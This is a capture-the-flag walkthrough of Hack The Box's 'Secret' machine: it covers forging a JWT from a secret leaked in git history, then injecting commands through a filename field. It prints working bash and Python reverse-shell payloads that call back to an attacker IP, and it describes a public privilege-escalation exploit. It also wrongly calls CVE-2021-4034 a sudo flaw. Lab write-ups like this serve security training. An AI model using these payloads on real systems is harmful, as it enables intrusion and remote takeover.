An easy Linux box from HackTheBox, decoding a JWT token for inital access, then a sudo exploit for root.

Recon

Running the usual nmaps

nmap -sV -sC -oA nmap/secret 10.10.11.120

And one in the background on all ports

Find an HTTP server on port 80, navigating to it, it has instructions to create a user and login with an endpoint POST system - by hitting /api/user/register to make an account, and /api/user/login to login

Content-Type: application/json
{"name":"georgy", "email":"gg@dasith.works", "password":"password"}

After logging in by hitting /api/user/login, get an auth-token

auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNlODI1ODg5OThjNzA0NjMwOTY5MjkiLCJuYW1lIjoiZ2Vvcmd5IiwiZW1haWwiOiJnZ0BkYXNpdGgud29ya3MiLCJpYXQiOjE2NDgyNjM4Mjl9.SaDFLVWVeu8Ep_2SABIZjAUV0Dyx6LHRvqKHQfgEBog

With the login

{
	"email": "gg@dasith.works",
	"password": "password"
}

Can decode the auth-token, its just base64

However the unhighlighted portion cannot be converted back, it’s the secret used in the making of the token

Exploitation

There are a lot of ways to exploit Javascript Web Tokens (JWT)

  • Using the none algorithm
  • Hijacking another user
  • Brute forcing the key

Using jwt.io , the none alg doesn’t work

No way to see another users tokens

Could try to brute force it, but need the secret, then can put it in jwt.io and encode it

Looking at the source code, find that TOKEN_SECRET=secret (using grep for secret), but the encoded token doesn’t work when we hit /api/priv with the admin details, saying the token is invalid

Looking at the source code again, there is a git commit that says “removed .env for security reasons”

Checking with git log

Rolling back git by 2

git diff HEAD~2

Can find the secret token is

gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

Using that in jwt.io with the known admin creds, name: theadmin, don’t need to change email because the source code only checks for “name == theadmin”

In the routes directory of the source code the code executes a shell command without cleaning the input, this is where we can inject some commands

To get a reverse shell on port 9001 on local machine, using a bash reverse shell payload for file name, index.js is a real file inside the source code

index.js; bash -i >& /dev/tcp/10.10.14.3/9001 0>&1

Doesn’t work, check if it has python3 with “index.js;which python3” as the payload, find out it has it

Use the python shell instead

index.js;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Get a reverse shell as dasith user

Now can download LinPeas.sh onto the system with a python server and run it in the /tmp directory

Linpeas finds that the sudo version is vulnerable to CVE-2021-4034

Google for it, then compile it in the /tmp directory of the server, and run it

Bam! Root